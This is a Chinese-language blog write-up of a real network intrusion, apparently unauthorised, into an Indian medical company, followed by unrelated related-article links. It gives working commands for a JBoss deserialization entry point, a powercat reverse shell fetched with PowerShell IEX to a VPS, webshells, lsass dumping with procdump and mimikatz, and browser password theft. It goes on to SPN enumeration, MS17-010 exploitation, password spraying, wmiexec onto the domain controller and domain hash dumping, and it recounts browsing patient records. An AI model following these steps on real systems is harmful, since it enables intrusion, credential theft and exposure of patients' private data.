0x00 前言

在去年小菜鸡学了点内网知识就闲着没事跑点jboss的站看看,在经历过很多次内网横向失败之后终于算是人生圆满了一把,阿三的站一般进去之后很难横向,不知道是不是我太菜的原因,反正阿三的站能够横向拿完的有且仅有这么一个,过了很久再放出来应该是没啥大问题了吧,希望师傅们友好交流

0x01 外围打点

首先对发现了该站点的JBoss页面,经过测试发现具有JBoss反序列化漏洞

这里我用的是war远程部署的方法拿到了一个shell

这里看到对方是windows系统,当前用户权限是管理员权限。并且该机器具有两张网卡,通向了两个网段,那么肯定是存在域环境

想直接上线cs多人运动,发现上线失败,机器也是出网的,尝试powershell,hta,exe,wmic都不行,真的奇怪,用tasklist /svc看了一下对方机器并无杀软

这里就想着先拿一个稳定的shell,想往部署war包的路径写个冰蝎的马

由于这个shell并不稳定 这里远程加载powercat脚本反弹到vps上

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c ip -p 9000 -e cmd

在jboss/server/default/deploy/management/目录 echo写入冰蝎的马

windows下注意要使用^对尖括号进行转义,本地实验一下,成功

往目标机器写入,成功连接,very good,至此打点成功

0x02 本机信息收集

拿到webshell后先维权往其他几个目录也放几个webshell,防止被管理员删除修复

然后依托当前机器收集尽可能多的信息,迅速了解目标的内网大致网络结构和机器软件环境,为下一步继续深入做好准备

ipconfig /all &&netstat -ano &&arp -a  查看当前机器处于哪个环境哪个网段
wmic os get caption,csdversion,osarchitecture,version 抓明文之前了解目标系统版本 有些默认是抓不到明文的
wmic product get name,version 查看安装软件列表
whoami /user &&quer user
tasklist /v && net start
systeminfo

可以看到当前我们获得的这台是win7企业版的主机,且处在域内,有2张网卡,通向2个网段

然后不断的翻资料,不断的翻资料

翻到这家企业的人力资源手册、wifi密码、网关,疑似oracle数据账号密码等信息

把人力资源手册翻译看看,发现这是一家阿三的医疗私人有限公司,真好

里面包括企业的政策及用人部分分配处分等信息,得到他的官网 www.sxxxx.com

把资料翻完之后,抓取一下浏览器记录及密码,使用hack-browser-data,抓取下来本地查看

还是有很多有价值的密码的,把这些密码收集起来,还发现他用gmail邮箱注册了一个网站的账号

然后登录查看一下这些网站的发现这台机的主人还有玩一些投资的平台,具体是什么没深入下去

有个网站引起了我的注意,登录发现这是一个挂号平台

可以查看大量患者人员的信息,并且可进行通话

还有患者的家属情况人员信息,住院出院时间

然后尝试抓密码,用prodump导出

procdump64.exe -accepteula -ma lsass.exe 1.dmp

makecab c:\jboss\bin\1.dmp  1.zip

利用windows自带的压缩工具压缩一下然后下载回本地

离线mimikatz读取

mimikatz.exe "log" "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit

直接抓到域管账号administrator的密码,其实挺好奇的看了一下,该机器名为EDP,接着百度了一下

应该就是高层人员的意思吧,当前获取的是一名高层主管机器,然后整理收集得到的密码,相对来说还是相对丰富的

0x03 域内信息收集

先找到它的域控

net group /domain 查看域组
net group "domain users" /domain 域内用户
net group "domain admins" /domain 域管用户
net group "domain computers" /domain 域内机器
net group "domain controllers" /domain 域控机器

内网大概300台左右,当时很惊讶,后来想了一下医院的话确实300台也不算多

可以看到域控的机器名为ADC1,通过ipconfig /all看到dns服务器为192.168.0.100

该机器通过ping 域名查看可以确认192.168.0.100为域控

0x04 获取域内spn记录

摸清域内敏感机器资产的分布,方便之后突破。可以拿着这些获取到的机器名,来快速完整探测当前域内的所有存活主机,通过net view还是比较不准的,开启防火墙也是探测不到的

这里如果能上cs就会好操作很多,但是很遗憾,这里只能硬着头皮手动搞

setspn -T xxx.com -Q */* >spn.txt

接着对拉回来的spn文件进行处理,获取spn记录前面的主机名字

grep "CN=" spn.txt | awk -F "," {'print $1'} | awk -F "=" {'print $2'} > host.txt

通过SPN我们可以获取到域内的存活主机何一些主机的具体作用。可以通过主机的名字来获取到这个主机提供什么服务

除了SPN收集域内的信息的话,还可以通过bloodHound来获取域内的一些信息。接着快速抓取当前域内的所有用户,组,会话,数据,上传exe文件上去然后再把数据给下载回来

0x05 内网存活机器及资产搜集

利用毒液venom代理

挂socks5 msf里的smb_versionb模块进行smb扫描

setg Proxies socks5:ip:端口
setg reverseallowproxy true
set rhosts file:/home/kali/Desktop/ip.txt
set threads 15

利用收集到的密码对内网机器进行批量smb弱口令探测,进行连接并进行整理

还是收获很大的对其他服务器进行弱口令探测,爆破出一台linux主机一台windows主机,查找文件并无什么发现

0x06 探测内网web资产

内网jboss拿下8台,医院管理后台尝试弱口令与之前的密码,无果

发现一个mirth connect 医疗信息接口集成引擎,用admin/admin弱口令进入

0x07 对内网的Windows机器进行永恒之蓝渗透

对内网的主机进行MS17-010漏洞探测, 通过venom把msf代入内网进行探测,发现了有很多主机都存在有永恒之蓝的漏洞

主机为64位,migrate迁移进程做好安全措施

利用Kiwi读取密码

打下18台主机,其中包括hr docker icu的机器,想继续深度挖掘的,但是太累了

继续深度挖掘就抓密码读敏感文件,谷歌浏览器账号密码,一直反复拿到自己想要拿的资料为止

继续利用Kiwi读取密码

读取了4、5台后发现密码几乎一样 是站点域名@123,看来还是很多根据域名xxx@123等来设置密码的,这里我直接尝试用域用户进行密码喷洒

可以看到还是非常多域内用户使用了该密码,这里使用wmiexec.py连接域控

python3 ./wmiexec.py sxxxx/Administrator:密码@192.168.0.100

发现开启3389尝试连接域控,连接成功

利用域管密码导出域内用户hash

保存下来看了一下,密码复用率非常高,基本只有几个用户是有设置密码的

0x08 后记

这次渗透测试来说还是挺顺利的,就是不断信息收集进行突破,真的是信息收集到一定程度时,已经能拿下很多机器了

闲着没事又到域控里面逛了一下,在一个盘符里面看到了个bat文件,打开一看应该是前辈留下来的

至此本次渗透过程应该算是比较圆满了,不过有些地方肯定还是有更好的方法,在以后的学习中应该要学习得更加扎实

用前辈的话跟师傅们共勉:低调求发展,潜心习安全

给我一个shell我能干翻你内网的更多相关文章

  1. 一个基于DPI技术实现了内网资产识别的应用

    https://www.forescout.com/products/counteract/see/visibility-capabilities/ Home ≫ Products ≫ ForeSco ...

  2. 一台PC双网卡,一个外网一个内网

    问题:一台PC双网卡,一个连外网一个连内网.用户主要访问外网,内网只访问有限的几个ip.因为外网很大,一般人公司内网常访问的ip是有限的几个. 现在如何做到在上外网的同时也能访问内网的系统?明明两个网 ...

  3. Linux Shell编程(2)——第一个shell程序

    在最简单的情况下,脚本程序不过是存储在一个文件里的系统命令列表.这至少让你执行它 时不必重新按顺序键入相同功能的命令序列.一个清空/var/log目录下的日志文件的脚本 # Cleanup # 必须以 ...

  4. Linux Shell 之 我的第一个Shell程序

      这里我首先会介绍一个Shell是什么,再介绍我的第一个Shell程序和从中总结的经验. 一.Shell是什么 在说我的这个Shell程序之前,还是先跟大家说说什么是Shell吧,相信Shell这个 ...

  5. shell脚本中执行另一个shell脚本

    分类: 可以在一个shell脚本中执行另一个shell脚本(或非可执行文件,主要用于取得一些变量的值),方法是: . 文件名(包括路径) 或 变量=文件名(包括路径) . $变量   注意,圆点后面有 ...

  6. 手把手教你做一个Shell命令窗口

    这是一个类似于win下面的cmd打开后的窗口,可以跨平台使用,可以在win和linux下面同时使用,主要功能如下: 首先我们需要把这些功能的目录写出来,通过写一个死循环,让其每次回车之后都可以保持同样 ...

  7. 编写第一个 Shell 脚本

    什么是 Shell 脚本? 一个 shell 脚本就是一个包含一系列命令的文件.shell 读取这个文件,然后执行 文件中的所有命令,就好像这些命令已经直接被输入到了命令行中一样. 怎样编写一个 Sh ...

  8. Shell教程 之第一个shell脚本

    1.第一个shell脚本 打开文本编辑器(可以使用 vi/vim 命令来创建文件),新建一个文件 test.sh,扩展名为 sh(sh代表shell),扩展名并不影响脚本执行 输入一些代码 #!/bi ...

  9. 第一个shell程序

    前言:我为什么又来学习shell呢?因为这个轻量级的编程小脚本语言能够帮我处理一些基于linux的复杂手工工作.真是一言难尽,学会一门又来一门!! 看了2天这个教程,试着写了一个小脚本,没啥技术含量, ...

随机推荐

  1. cache-control config & http cache storage location control

    cache-control config & http cache storage location control cache-control 设置 where is the storage ...

  2. vue动态添加当前事件下的class

    html部分<div class="star"> <span v-for="(item,index) in 5" @click="c ...

  3. NGK创造的BGV金融世界观是什么?

    目前DeFi已经形成初级的金融体系.笔者将DeFi市场对比传统金融世界观,不过市场结构有显着差异.我们可以这样想:如果在去中心化金融世界中借钱,那么可以把MakerDAO比作为中央银行(+回购). 去 ...

  4. 【python接口自动化】- 对接各大数据库

    相信很多小伙伴在使用python进行自动化测试的时候,都会涉及到数据库数据校验的问题,在前面的随笔中就已经有讲过连接mysql的使用,今天给大家汇总一下python对接几大常用的数据库操作的方法!众所 ...

  5. django学习-13.通过pk值手动设置数据表主键

    1.前言 通过django框架的Model层来新增数据库表时,如果在需要新增的表字段里任何一个表字段都没设置主键,框架会默认新增一个表字段id并把该表字段id设置为主键. 那么,如果我们想自己动手设置 ...

  6. 字节码增强技术-Byte Buddy

    本文转载自字节码增强技术-Byte Buddy 为什么需要在运行时生成代码? Java 是一个强类型语言系统,要求变量和对象都有一个确定的类型,不兼容类型赋值都会造成转换异常,通常情况下这种错误都会被 ...

  7. JS广度优先遍历

    自己用JS实现了 广度优先遍历 第一种用了数组的高阶函数,看起来有些复杂.然后思索着从可读性上优化了一下,孰优孰劣以后分析. var list = [{ id: "ab", chi ...

  8. javascript初体验(一)

    数据类型 数字 (Number),整数或浮点数,例如42或3.14159 字符串 (String) 布尔值 (Boolean) null (js大小写敏感,因此null和NULL不一样) undefi ...

  9. Spring的BeanFactoryPostProcessor接口

    接口简介 BeanFactoryPostProcessor 接口是 Spring 初始化 BeanFactory 时对外暴露的扩展点,Spring IoC 容器允许 BeanFactoryPostPr ...

  10. Java实现贪吃蛇

    游戏界面基本布局 贪吃蛇是基于JFrame的一款小游戏.它主要有两部分组成,一个是显示区域,一个是按钮区域.这两个区域都用JPanel来实现. 首先需要创建一个基于JFrame的类,例如创建一个MyF ...